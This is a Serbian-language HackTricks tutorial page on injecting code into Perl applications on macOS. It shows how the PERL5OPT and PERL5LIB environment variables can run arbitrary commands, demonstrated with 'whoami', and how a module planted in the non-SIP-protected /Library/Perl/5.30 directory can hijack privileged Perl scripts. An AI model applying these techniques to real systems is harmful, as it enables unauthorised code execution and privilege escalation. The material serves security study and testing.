3.3 KiB
Ubrizgavanje Perl aplikacija na macOS-u
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJATELJSTVO!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Putem PERL5OPT
& PERL5LIB
env promenljivih
Korišćenjem env promenljive PERL5OPT moguće je naterati perl da izvrši proizvoljne komande.
Na primer, kreirajte ovaj skript:
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
{% endcode %}
Sada izvezite env promenljivu i izvršite perl skriptu:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Druga opcija je da se kreira Perl modul (npr. /tmp/pmod.pm
):
{% code title="/tmp/pmod.pm" %}
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
{% endcode %}
Zatim koristite env promenljive:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Preko zavisnosti
Moguće je izlistati redosled foldera zavisnosti Perl-a koji se izvršava:
perl -e 'print join("\n", @INC)'
Koji će vratiti nešto slično:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Neke od vraćenih mapa čak ne postoje, međutim, /Library/Perl/5.30
postoji, nije zaštićen od SIP-a i nalazi se ispred mapa zaštićenih SIP-om. Stoga, neko bi mogao zloupotrebiti tu mapu da dodaje zavisnosti skripti tamo kako bi visoko privilegovana Perl skripta učitala te zavisnosti.
{% hint style="warning" %} Međutim, imajte na umu da morate biti root da biste pisali u tu mapu i danas ćete dobiti ovaj TCC prozor: {% endhint %}
Na primer, ako skripta uvozi use File::Basename;
bilo bi moguće kreirati /Library/Perl/5.30/File/Basename.pm
da bi se izvršio proizvoljni kod.